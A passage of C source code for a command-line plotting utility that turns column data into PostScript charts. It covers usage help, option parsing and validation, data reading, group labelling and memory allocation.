- After translation step, the x/y axes represent postscript coordinates 0/0
- Datapoints and tics are transformed within postscript functions
- This means the raw data can be extracted from the postscript file
- x/y tics begin from xmin/ymin, and rise by xint/yint
- padding is added before the first tic on each axis
- padding is also added to the top of each scale (beyond xmax/ymax)
- tics can extend to the padded region at the top of each scale
Absolute quantities (insensitive to scaling)
- ticsize, fontsize, data linewidth, axes linewidth
*/
/* external functions start */
double xf_trimdigits_d(double number_to_trim, int digits_to_keep);
char* xf_strsub1 (char *source, char *str1, char *str2);
double xf_round1_d(double input, double setbase, int setdown);
int xf_precision_d(double number, int max);
double *xf_unique_d(double *data, long *nn, char *message);
double *xf_jitter1_d(double *yval, long nn, double centre, double limit, char *message);
double xf_rand1_d(double setmax);
long xf_scale1_l(long old, long min, long max);
int xf_palette7(float *red, float *green, float *blue, long nn, char *palette, int rev);
long xf_interp3_f(float *data, long ndata);
void xf_qsortindex1_d(double *data, long *index,long nn);
int xf_compare1_d(const void *a, const void *b);
long xf_percentile2_d(double *data, long nn, double setper, double *result, char *message);
long *xf_lineparse2(char *line,char *delimiters, long *nwords);
/* external functions end */
int main (int argc, char *argv[]) {
/* general variables */
char *infile=NULL,outfile[MAXWORDLEN],line[MAXLINELEN],*pline,*pcol,*gwords=NULL,message[MAXWORDLEN];
long ii,jj,kk,nn,mm;
long *iword=NULL,nwords;
int w,x,y,z,col,colsmissing=2;
int sizeofchar=sizeof(char),sizeofshort=sizeof(short),sizeofint=sizeof(int),sizeoffloat=sizeof(float),sizeofdouble=sizeof(double),sizeoflong=sizeof(long);
float a,b,c,d,e;
double aa,bb,cc,dd,ee,ff,gg;
FILE *fpin,*fpout;
/* program-specific variables */
char xlabel[MAXWORDLEN],ylabel[MAXWORDLEN],plottitle[MAXWORDLEN],*tempgword=NULL;
short *sdata=NULL,*temp_sdata=NULL;
int *linebreak=NULL,*temp_linebreak=NULL,*tempint=NULL,lb;
int xticprecision,yticprecision;
long n1,linecount;
float xlimit=500.0,ylimit=500.0; // the postscript plotting space (pixels)- should be square and smaller than an A4 sheet (591 x 841)
float psxmin,psxmax,psymin,psymax; // currently unused - defines bounding box, i.e. plot area including labels (currently assume A4 page instead)
float zx=-1,zy=-1; // zero-coordinates for plot - readjust zy if scale is reset
double xfactor,yfactor; // variables scaled by data range + padding to transform the data to x/y coordinates
float yticmaxchar;
double *xdata=NULL,*ydata=NULL,*edata=NULL,*fdata=NULL;
double *temp_xdata=NULL,*temp_ydata=NULL,*temp_edata=NULL,*temp_fdata=NULL,*temp_xunique=NULL,*tempjit=NULL;
double xmin,xmax,ymin,ymax,xrange,yrange,newx,newy,xticmin,xticmax,yticmin,yticmax;
double winwidth=0.0;
/* group/colour variables */
int gfound,gints,gnums;
long *gdata=NULL,*igword=NULL,*grprank=NULL,*temprank=NULL,ncolours,gindex;
long *tempindex=NULL,grp,ngrps=0,templen=0,tempcolour1,tempcolour2,maxcolour;
float *grpshift=NULL;
double *tempdouble=NULL;
/* colour-palette variables */
float *red=NULL,*green=NULL,*blue=NULL;
/* arguments */
char *setpal=NULL,*setrect=NULL;
char plottype[16],pointtype[16],bigtic[MAXWORDLEN],*hlineword=NULL,*vlineword=NULL;
int setverb=0,setxcol=1,setycol=2,setfcol=-1,setecol=-1,setgcol=-1,setscol=-1;
int setxmin=0,setxmax=0,setymin=0,setymax=0,setyzeroline=1,setline=0,sethline=0,setvline=0,setlinebreak=0,setlegend=0;
int setpointsize=0,boxyzero=1,setewidth=0,setelwidth=0,setebright=0;
int pointfill=1, framestyle=3, f1=0,f2=0,f3=0,f4=0,setdatacolour=0,setmaxpoints=10000,setmid=1,setgshift=0;
int setpalrev=0,setstartype=1;
double setxminval,setxmaxval,setyminval,setymaxval,setxint=0.0,setyint=0.0,xint=0.0,yint=0.0,setxpad=-1.0,setypad=-1.0,setdown=0.0,setjitter=0.0;
double hline[MAXUSERLINES],vline[MAXUSERLINES],hlinemin,hlinemax,vlinemin,vlinemax;
float xscale=.3,yscale=.3; // plot scale - xlimit and ylimit are multiplied by these values
float setticsize=-3,pointsize=5,fontsize=10.0,setlegendscale=0.75;
float boxwidth=0.0,ewidth=0.0,lwdata=1.0,lwaxes=1.0,lwerror=0.75; // boxwidth and linewidth for drawing data and frame/tics
snprintf(outfile,MAXWORDLEN,"temp_%s.ps",thisprog);
xlabel[0]=0;
ylabel[0]=0;
plottitle[0]= '\0';
sprintf(plottype,"cir");
/* allocate memory for hlines and vlines */
hlineword=(char *)realloc(hlineword,MAXLINELEN*sizeof(char));
vlineword=(char *)realloc(vlineword,MAXLINELEN*sizeof(char));
// initialize storage for list of horizontal and vertical lines and associated arrays
vlineword[0]= '\0'; for(ii=0;ii<MAXUSERLINES;ii++) vline[ii]=NAN;
hlineword[0]= '\0'; for(ii=0;ii<MAXUSERLINES;ii++) hline[ii]=NAN;
setxminval=setyminval=hlinemin=vlinemin= DBL_MAX;
setxmaxval=setymaxval=hlinemax=vlinemax= -DBL_MAX;
/* PRINT INSTRUCTIONS IF THERE IS NO FILENAME SPECIFIED */
if(argc<2) {
fprintf(stderr,"\n");
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"%s\n",TITLE_STRING);
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"Produces a postscript plot of data\n");
fprintf(stderr,"Non-numeric values will be ignored\n");
fprintf(stderr,"USAGE...\n");
fprintf(stderr," %s [filename] [options]\n\n",thisprog);
fprintf(stderr,"VALID OPTIONS (default in [])...\n");
fprintf(stderr," [filename]: file name or \"stdin\"\n");
fprintf(stderr," -cx: x-data column (-1 to infer x from sample-number) [%d]\n",setxcol);
fprintf(stderr," -cy: y-data column [%d]\n",setycol);
fprintf(stderr," -ce: y-error estimate column [%d]\n",setecol);
fprintf(stderr," -cf: x-error estimate column [%d]\n",setfcol);
fprintf(stderr," -cg: group ID column [%d]\n",setgcol);
fprintf(stderr," - ID can be numerical or text (no spaces)\n");
fprintf(stderr," - if text, group-colour assigned by order of appearance\n");
fprintf(stderr," -cs: column defining significance (probability) - to add stars [%d]\n",setscol);
fprintf(stderr," - see also -startype option below\n");
fprintf(stderr," -xmin -xmax -ymin -ymax: manually set data range\n");
fprintf(stderr," -xpad -ypad: pad between data range and plot axes (-1=auto)\n");
fprintf(stderr," -xint -yint: interval between axis-tics (0=AUTO -1=OMIT) [%g %g]\n",setxint,setyint);
fprintf(stderr," -jitter: apply this much jitter (max) to x-values [%g]\n",setjitter);
fprintf(stderr," NOTE: do not use with -line option\n");
fprintf(stderr," -line: draw line between data points (1=YES,0=NO)[%d]\n",setline);
fprintf(stderr," -pt: plot type (squ cir tri box bar histo) [%s]\n",plottype);
fprintf(stderr," -ps: point size (zero to omit) [%g]\n",pointsize);
fprintf(stderr," -pf: point fill (0=no, -1=white, 1=datacolour) [%d]\n",pointfill);
fprintf(stderr," -colour: adjust colour for lowest group [%d]\n",setdatacolour);
fprintf(stderr," -ebright: adjust error-bar colours up (typically 8,16,24) [%d]\n",setebright);
fprintf(stderr," NOTE: -colour and -ebright only work with default palette\n");
fprintf(stderr," -pal: colour palette (default)\n");
fprintf(stderr," default: blk-red-magenta-blue-cyan-green-yel-orange\n");
fprintf(stderr," black2grey: black-lightgrey\n");
fprintf(stderr," rainbow: blue-green-red\n");
fprintf(stderr," viridis: purple-green-yellow\n");
fprintf(stderr," plasma: blue-purple-yellow\n");
fprintf(stderr," magma: black-purple-cream\n");
fprintf(stderr," inferno: black-purple-orange-paleyellow\n");
fprintf(stderr," vangough: blue-purple-pink-gold\n");
fprintf(stderr," turbo: similar to rainbow, but a more continuous\n");
fprintf(stderr," *.txt: a palette-file with an RGB triplet on each line\n");
fprintf(stderr," - values are 0-1, example: .75 0.0 1.0\n");
fprintf(stderr," - assigned to groups in ascendng order (from zero)\n");
fprintf(stderr," -palrev: reverse order of pallette colours (1=YES,0=NO) [%d]\n",setpalrev);
fprintf(stderr," NOTE: this does not apply to the default palette\n");
fprintf(stderr," -bw: box/bar width in x-axis units (0=auto) [%g]\n",boxwidth);
fprintf(stderr," -ew: error-bar width in x-axis units (0=auto) [%g]\n",ewidth);
fprintf(stderr," -bz: boxes and histograms extend to zero? (1=YES,0=NO)[%d]\n",boxyzero);
fprintf(stderr," -gs: group-shift on x-axis (1=YES,0=NO) [%d]\n",setgshift);
fprintf(stderr," NOTE: suitable for box bar or histo plots only\n");
fprintf(stderr," NOTE: puts groups side by side centred on x-value\n");
fprintf(stderr," NOTE: set -bw to 1/(#groups+1) for this to look nice\n");
fprintf(stderr," -xlabel: x-axis label, in quotes [unset]\n");
fprintf(stderr," -ylabel: y-ayis label, in quotes [unset]\n");
fprintf(stderr," -title: plot title (enclose in quotes)\n");
fprintf(stderr," -font: base font size [%g]\n",fontsize);
fprintf(stderr," -legend: display legend (0=NO, 1=bottom-left, 2=top-right)[%d]\n",setlegend);
fprintf(stderr," -legendscale: legend scale relative to -font [%g]\n",setlegendscale);
fprintf(stderr," -frame: draw frame at bottom(1) left(2) top(4) right(8) [%d]\n",framestyle);
fprintf(stderr," -NOTE: these are additive, eg full box=15 [%d]\n",framestyle);
fprintf(stderr," -tics: size of x- and y-tics (negative=outside frame) [%g]\n",setticsize);
fprintf(stderr," -hline: CSV list of y-values for horizontal lines [unset]\n");
fprintf(stderr," -vline: CSV list of x-values for vertical lines [unset]\n");
fprintf(stderr," NOTE: maximum %d lines of each type\n",MAXUSERLINES);
fprintf(stderr," NOTE: if > data range, plot range will be expanded\n");
fprintf(stderr," -yzero: draw zero-line if y-data spans zero (0=NO 1=YES) [%d]\n",setyzeroline);
fprintf(stderr," -rect: draw rectangle under the plot (R,G,B,x1,y1,x2,y2) [unset]\n");
fprintf(stderr," - RGB triplet should be values ranging from 0-1\n");
fprintf(stderr," - x1,y1,x2,y2 define the lower left and upper right corners\n");
fprintf(stderr," -xscale: scale plot in x dimension [%g] \n",xscale);
fprintf(stderr," -yscale: scale plot in y dimension [%g] \n",yscale);
fprintf(stderr," -lwd: line width for data [%g]\n",lwdata);
fprintf(stderr," -lwe: line width for error-bars [%g]\n",lwerror);
fprintf(stderr," -lwa: line width for axes [%g]\n",lwaxes);
fprintf(stderr," -lb: break lines in plot [%d]\n",setlinebreak);
fprintf(stderr," (0) no line-breaks in plot\n");
fprintf(stderr," (1) if there is missing data or blank lines\n");
fprintf(stderr," (2) if a time-series repeats (x[ii]<x[i-1]) \n");
fprintf(stderr," -zx, -zy: page offset of the plot [%g,%g]\n",zx,zy);
fprintf(stderr," NOTE: -1 = default A4 top-left\n");
fprintf(stderr," -startype: horizontal (1) or vertical (2) [%d]\n",setstartype);
fprintf(stderr," -out: output file name [%s]\n",outfile);
fprintf(stderr," -verb: verbose output (0=NO, 1=YES) [%d]\n",setverb);
fprintf(stderr,"EXAMPLES:\n");
fprintf(stderr," %s data.txt -cx 2 -cy 3 -line 1 -title \"Sample-1\"\n",thisprog);
fprintf(stderr,"OUTPUT:\n");
fprintf(stderr," - postscript file, default name \"%s\"\n",outfile);
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"\n");
exit(0);
}
/* READ THE FILENAME AND OPTIONAL ARGUMENTS */
infile= argv[1];
for(ii=2;ii<argc;ii++) {
if( *(argv[ii]+0) == '-') {
if(ii>=argc) break;
if((ii+1)>=argc) {fprintf(stderr,"\n\a--- Error [%s]: missing value for argument \"%s\"\n\n",thisprog,argv[ii]); exit(1); }
else if(strcmp(argv[ii],"-colour")==0) { setdatacolour= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-pal")==0) { setpal= argv[++ii]; }
else if(strcmp(argv[ii],"-palrev")==0) { setpalrev= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-ebright")==0) { setebright= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-cx")==0) { setxcol= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-cy")==0) { setycol= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-ce")==0) { setecol= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-cf")==0) { setfcol= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-cg")==0) { setgcol= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-cs")==0) { setscol= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-gs")==0) { setgshift= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-xlabel")==0) { sprintf(xlabel,"%s",(argv[++ii])); }
else if(strcmp(argv[ii],"-ylabel")==0) { sprintf(ylabel,"%s",(argv[++ii])); }
else if(strcmp(argv[ii],"-title")==0) { sprintf(plottitle,"%s",(argv[++ii])); }
else if(strcmp(argv[ii],"-legend")==0) { setlegend= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-legendscale")==0) { setlegendscale= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-font")==0) { fontsize= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-xscale")==0) { xscale= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-yscale")==0) { yscale= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-xmin")==0) { setxminval= atof(argv[++ii]); setxmin=1; }
else if(strcmp(argv[ii],"-ymin")==0) { setyminval= atof(argv[++ii]); setymin=1; }
else if(strcmp(argv[ii],"-xmax")==0) { setxmaxval= atof(argv[++ii]); setxmax=1; }
else if(strcmp(argv[ii],"-ymax")==0) { setymaxval= atof(argv[++ii]); setymax=1; }
else if(strcmp(argv[ii],"-xint")==0) { setxint= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-yint")==0) { setyint= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-jitter")==0) { setjitter= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-xpad")==0) { setxpad= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-ypad")==0) { setypad= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-ew")==0) { ewidth= atof(argv[++ii]); setewidth=1; }
else if(strcmp(argv[ii],"-bw")==0) { boxwidth= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-bz")==0) { boxyzero= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-line")==0) { setline= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-hline")==0) { sprintf(hlineword,"%s",(argv[++ii])); sethline=1; }
else if(strcmp(argv[ii],"-vline")==0) { sprintf(vlineword,"%s",(argv[++ii])); setvline=1; }
else if(strcmp(argv[ii],"-yzero")==0) { setyzeroline= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-rect")==0) { setrect= argv[++ii]; }
else if(strcmp(argv[ii],"-lwd")==0) { lwdata= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-lb")==0) { setlinebreak= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-lwa")==0) { lwaxes= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-lwe")==0) { lwerror= atof(argv[++ii]); setelwidth=1; }
else if(strcmp(argv[ii],"-frame")==0) { framestyle= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-tics")==0) { setticsize= atof(argv[++ii]); }
else if(strcmp(argv[ii],"-pt")==0) { sprintf(plottype,"%s",(argv[++ii])); }
else if(strcmp(argv[ii],"-ps")==0) { pointsize= atof(argv[++ii]); setpointsize=1; }
else if(strcmp(argv[ii],"-pf")==0) { pointfill= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-out")==0) { snprintf(outfile,MAXWORDLEN,"%s",(argv[++ii])); }
else if(strcmp(argv[ii],"-zx")==0) { zx= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-zy")==0) { zy= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-startype")==0) { setstartype= atoi(argv[++ii]); }
else if(strcmp(argv[ii],"-verb")==0) { setverb= atoi(argv[++ii]); }
else {fprintf(stderr,"\n\a--- Error [%s]: invalid command line argument \"%s\"\n\n",thisprog,argv[ii]); exit(1); }
}}
// CHECK FOR INVALID OPTIONS
if(strcmp(plottype,"histo")!=0 && strcmp(plottype,"box")!=0 && strcmp(plottype,"bar")!=0 && strcmp(plottype,"cir")!=0 && strcmp(plottype,"squ")!=0 && strcmp(plottype,"tri")!=0) {
{fprintf(stderr,"\n\a--- Error [%s]: invalid plot-type specified (%s) - choose cir, squ, tri, box, bar or histo\n\n",thisprog,infile);exit(1); }
}
if(setgshift==1 && (strcmp(plottype,"histo")!=0 && strcmp(plottype,"box")!=0) && strcmp(plottype,"bar")!=0){
{fprintf(stderr,"\n\a--- Error [%s]: cannnot apply group shift unless plot-type (%s) is box, bar or histo\n\n",thisprog,infile);exit(1); }
}
if(setjitter<0) {fprintf(stderr,"\n\a--- Error [%s]: invalid -jitter (%g) - should be either >= 0 \n\n",thisprog,setjitter);exit(1); }
if(setjitter>0 && setline>0) {fprintf(stderr,"\n\a--- Error [%s]: cannot combine jitter (-jitter %g) with line-graphs (-line %d)\n\n",thisprog,setjitter,setline);exit(1); }
if(setxcol<1&&setxcol!=-1) {fprintf(stderr,"\n\a--- Error [%s]: invalid -cx (%d) - should be either -1 or a positive integer\n\n",thisprog,setxcol);exit(1); }
if(setlegend<0||setlegend>2) {fprintf(stderr,"\n\a--- Error [%s]: invalid -legend (%d) - should be either 0 1 or 2\n\n",thisprog,setlegend);exit(1); }
if(setyzeroline!=0&&setyzeroline!=1) {fprintf(stderr,"\n\a--- Error [%s]: invalid -yzero (%d) - should be either 0 or 1\n\n",thisprog,setyzeroline);exit(1); }
if(setverb!=0&&setverb!=1&&setverb!=999) {fprintf(stderr,"\n\a--- Error [%s]: invalid -verb (%d) - should be either 0 or 1\n\n",thisprog,setverb);exit(1); }
if(setstartype!=1&&setstartype!=2) {fprintf(stderr,"\n\a--- Error [%s]: invalid --startype (%d) - should be either 1 or 2\n\n",thisprog,setstartype);exit(1); }
if(pointfill<0 && (strcmp(plottype,"histo")==0 || strcmp(plottype,"bar")==0)) {fprintf(stderr,"\n\a--- Error [%s]: white-fill (-pf -1) cannnot be used with histograms (-pt histo) or bars (-pt bar) \n\n",thisprog);exit(1); }
if(setpalrev!=0&&setpalrev!=1) {fprintf(stderr,"\n\a--- Error [%s]: invalid -palrev (%d) - should be either 0 or 1\n\n",thisprog,setpalrev);exit(1); }
if(setpal!=NULL) {
if(
strstr(setpal,".txt")==NULL
&& strcmp(setpal,"default")!=0
&& strcmp(setpal,"grey")!=0
&& strcmp(setpal,"black2grey")!=0
&& strcmp(setpal,"rainbow")!=0
&& strcmp(setpal,"viridis")!=0
&& strcmp(setpal,"plasma")!=0
&& strcmp(setpal,"magma")!=0
&& strcmp(setpal,"inferno")!=0
&& strcmp(setpal,"vangough")!=0
&& strcmp(setpal,"turbo")!=0
) {fprintf(stderr,"\n\a--- Error [%s]: illegal -pal (%s)\n\n",thisprog,setpal);exit(1);}
}
else setpal="default";
if(setpalrev==1 && strcmp(setpal,"default")==0) {fprintf(stderr,"\n\a--- Error [%s]: cannot reverse the default palette\n\n",thisprog);exit(1); }
// build the list of horizontal lines
pline=hlineword;
for(col=0;(pcol=strtok(pline,","))!=NULL;col++) {
pline=NULL;
if(col>=MAXUSERLINES) {fprintf(stderr,"\n\a--- Error [%s]: too many horizontal lines specified (-hline %s) - max %d allowed\n\n",thisprog,hlineword,MAXUSERLINES);exit(1); }
else hline[col]=atof(pcol);
if(col==0) hlinemin=hlinemax=hline[0];
if(hline[col]<hlinemin) hlinemin=hline[col];
if(hline[col]>hlinemax) hlinemax=hline[col];
}
// build the list of vertical lines
pline=vlineword;
vlinemin=vlinemax=vline[0];
for(col=0;(pcol=strtok(pline,","))!=NULL;col++) {
pline=NULL;
if(col>=MAXUSERLINES) {fprintf(stderr,"\n\a--- Error [%s]: too many vertical lines specified (-vline %s) - max %d allowed\n\n",thisprog,vlineword,MAXUSERLINES);exit(1); }
else vline[col]=atof(pcol);
if(col==0) vlinemin=vlinemax=vline[0];
if(vline[col]<vlinemin) vlinemin=vline[col];
if(vline[col]>vlinemax) vlinemax=vline[col];
}
/******************************************************************************/
/******************************************************************************/
/* READ THE DATA */
/* open the data file - define the number of columns which should be found on each line */
/******************************************************************************/
/******************************************************************************/
if(setverb==999) printf("*** STARTING: READ DATA\n");
colsmissing=2; a=b=c; d=0; n1=0;
if(setecol>0) colsmissing++; // need to detect one extra column
if(setfcol>0) colsmissing++; // need to detect one extra column
if(setgcol>0) colsmissing++; // need to detect one extra column
if(setscol>0) colsmissing++; // need to detect one extra column
if(setxcol==-1) colsmissing--; // decrease detected columns by one if "x" is inferred from sample-number
/* NOW READ THE FILE AND STORE THE DATA */
if(strcmp(infile,"stdin")==0) fpin=stdin;
else if((fpin=fopen(infile,"r"))==0) {fprintf(stderr,"\n\a--- Error [%s]: file \"%s\" not found\n\n",thisprog,infile);exit(1); }
linecount= -1;
lb= 0;
gnums=1; // assume group-IDs are numbers
gints=1; // assume group-IDs are integers
while(fgets(line,MAXLINELEN,fpin)!=NULL) {
if(line[0]=='#') continue;
if(setverb==999) printf("\tline:%s",line);
aa= bb= cc= 0.0;
gfound= 0;
pline= line;
linecount++;
w= colsmissing;
for(col=1;(pcol=strtok(pline," ,\t\n"))!=NULL;col++) {
pline=NULL;
if(col==setxcol) { z=sscanf(pcol,"%lf",&aa); if(z==1) w--; } // temporarily store x-data
if(col==setycol) { z=sscanf(pcol,"%lf",&bb); if(z==1) w--; } // temporarily store y-data
if(col==setecol) { z=sscanf(pcol,"%lf",&cc); if(z==1) w--; } // temporarily store y-error-data
if(col==setfcol) { z=sscanf(pcol,"%lf",&dd); if(z==1) w--; } // temporarily store x-error-data
if(col==setscol) { z=sscanf(pcol,"%lf",&ee); if(z!=1) ee=1.0; w--; } // temporarily store significance (probability) data - if it's not numeric, probability=1 (no stars)
if(col==setgcol) { tempgword=pcol; gfound=1; w--; } /* temporarily store group-label - dont fully process until all columns found */
}
if(setverb==999) printf("\t\tw-status:%d/%d\n",w,colsmissing);
/* if all columns found, store data and indicate this line is not a line-break */
if(w==0) {
if(setxcol==-1) aa=(double)linecount; /* -f -cx is "-1", sets x to sample-number */
/* convert NAN or INF error-bar values to zero. Note that x- and y-values MUST be finite numbers */
if(!isfinite(aa)) continue;
if(!isfinite(bb)) continue;
if(setecol>0 && !isfinite(cc)) cc= 0.0;
if(setfcol>0 && !isfinite(dd)) dd= 0.0;
/* only include data falling within the user-specified x-range */
if((setxmin==0 || aa>=setxminval) && (setxmax==0 || aa<=setxmaxval)) {
/* DETERMINE GROUP ID FROM GWORDS OR NUMBERS IN THE GROUP-COLUMN (-CG) */
gindex=0; // the unique group index
if(gfound==1) {
/* try to store group-ID as a number to see if all groups are numeric */
z=sscanf(tempgword,"%lf",&gg);
if(z==0 || !isfinite(gg)) gnums=gints= 0;
else if(gg!=(long)(gg)) gints= 0;
/* check to see if a group-word already exists... */
gindex=-1; for(jj=0;jj<ngrps;jj++) if(strcmp(tempgword,(gwords+igword[jj]))==0) gindex=jj;
/* ...if not, add it to a list of gwords */
if(gindex<0) {
/* allocate memory for expanded gwords and word-index */
x= strlen(tempgword); // not including terminating NULL
gwords= realloc(gwords,((templen+x+4)*sizeofchar)); if(gwords==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);}
igword= realloc(igword,((ngrps+1)*sizeoflong)); if(igword==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);}
igword[ngrps]=templen; /* set pointer to start position (currently, the end of the labels string) */
sprintf(gwords+templen,"%s",tempgword); /* add new word to end of gwords, adding terminal NULL */
templen+= (x+1); /* update length, allowing for terminal NULL - serves as pointer to start of next word */
gindex= ngrps; /* set the group label index */
ngrps++; /* increment ngrps with check */
}}
/* adjust y-values and error bars to fit within user-specified range */
if(setymin==1) {
if(bb<setyminval) { bb=setyminval; cc=0.0; }
else if((bb-cc)<setyminval) { cc=bb-setyminval; }
}
if(setymax==1) {
if(bb>setymaxval) { bb=setymaxval; cc=0.0; }
else if((bb+cc)>setymaxval) { cc=setymaxval-bb; }
}
/* allocate memory (note that x,y,group and linebreak are always defined )*/
xdata= realloc(xdata,(n1+1)*sizeofdouble);
ydata= realloc(ydata,(n1+1)*sizeofdouble);
gdata= realloc(gdata,(n1+1)*sizeoflong);
linebreak= realloc(linebreak,(n1+1)*sizeofint);
if(xdata==NULL||ydata==NULL||gdata==NULL||linebreak==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
xdata[n1]= aa;
ydata[n1]= bb;
gdata[n1]= gindex; // the unique group-index (order of appearance, zero-offset) - the value is stored in "gwords"
linebreak[n1]=lb;
lb=0;
if(setecol>0) {
edata= realloc(edata,(n1+1)*sizeofdouble);
if(edata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
edata[n1]=cc;
}
if(setfcol>0) {
fdata= realloc(fdata,(n1+1)*sizeofdouble);
if(fdata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
fdata[n1]=dd;
}
if(setscol>0) {
sdata= realloc(sdata,(n1+1)*sizeofshort);
if(sdata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
if(ee<.0001) sdata[n1]= 4;
else if(ee<.001) sdata[n1]= 3;
else if(ee<.01) sdata[n1]= 2;
else if(ee<.05) sdata[n1]= 1;
else sdata[n1]=0;
}
n1++;
}
}
/* detect missing data and if required, insert a line-break-signal in the plot */
else if(setlinebreak==1) lb=1;
else lb=0; /* otherwise for the next line the lb signal is zero (no break) */
}
if(strcmp(infile,"stdin")!=0) fclose(fpin);
if(setverb==999) printf("*** LINECOUNT:%ld\n",n1);
//TEST: for(ii=0;ii<n1;ii++) printf("%g\t%g\t%g\t%d\n",xdata[ii],ydata[ii],edata[ii],sdata[ii]);
/******************************************************************************/
/******************************************************************************/
/* MAKE FAKE DATA AND FAKE GROUP-LABELS IF REQUIRED */
/******************************************************************************/
/******************************************************************************/
/* WARN IF PLOT IS TO BE EMPTY - MAKE SOME FAKE DATA BUT KEEP n1=0 */
if(n1<1) {
if(setverb==999) printf("*** STARTING: BUILDING FAKE DATA\n");
fprintf(stderr,"\n\a--- Warning [%s]: no data! Check input columns and whether input is non-numeric\n\n",thisprog);
n1=1;
xdata= realloc(xdata,sizeofdouble); if(xdata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
ydata= realloc(ydata,sizeofdouble); if(ydata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
gdata= realloc(gdata,sizeoflong); if(gdata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
linebreak=(int *)realloc(linebreak,sizeofint); if(linebreak==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
xdata[0]= 0.0;
ydata[0] =0.0;
gdata[0]= 0;
linebreak[0]= 0;
if(setecol>0) {
edata= realloc(edata,sizeofdouble);
if(edata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
edata[0]=0.0;
}
if(setfcol>0) {
fdata= realloc(fdata,sizeofdouble);
if(fdata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
fdata[0]=0.0;
}
setgcol=-1; // forces the next step - making the fake group-IDs
}
/* IF GROUP COLUMN WAS UNDEFINED, MAKE A DUMMY GROUP LABEL ARRAY */
if(setgcol<0) {
if(setverb==999) printf("*** STARTING: BUILDING FAKE GROUPS\n");
gwords= realloc(gwords,((4)*sizeofchar)); if(gwords==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);}
igword= realloc(igword,((1)*sizeoflong)); if(igword==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);}
sprintf(gwords,"0");
igword[0]=0;
ngrps=1;
}
if(setverb==999) for(ii=0;ii<n1;ii++) printf("group[%ld]=%ld label=%s\t%g %g\n",ii,gdata[ii],(gwords+igword[gdata[ii]]),xdata[ii],ydata[ii]);
if(setverb==999) for(grp=0;grp<ngrps;grp++) {printf("label[%ld]=%s\n",grp,gwords+igword[grp]);}
/******************************************************************************/
/******************************************************************************/
/* ALLOCATE MEMORY FOR EXTRA ARRAYS - THESE ARE USED DURING PLOTTING TO SPLIT THE DATA INTO GROUPS */
/******************************************************************************/
/******************************************************************************/
if(setverb==999) printf("*** STARTING: MEMORY ALLOCATION\n");
grprank= realloc(grprank,ngrps*sizeoflong);
grpshift= realloc(grpshift,ngrps*sizeof(*grpshift));
tempdouble= malloc(ngrps*sizeof(double));
temprank= malloc(ngrps*sizeof(long));
if(grprank==NULL||grpshift==NULL||tempdouble==NULL||temprank==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
temp_xdata= realloc(temp_xdata,(n1+1)*sizeofdouble);
temp_ydata= realloc(temp_ydata,(n1+1)*sizeofdouble);
temp_linebreak=(int *)realloc(temp_linebreak,(n1+1)*sizeofint);
if(temp_xdata==NULL||temp_ydata==NULL||temp_linebreak==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
if(setecol>0) {
temp_edata= realloc(temp_edata,(n1+1)*sizeofdouble);
if(temp_edata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
}
if(setfcol>0) {
temp_fdata= realloc(temp_fdata,(n1+1)*sizeofdouble);
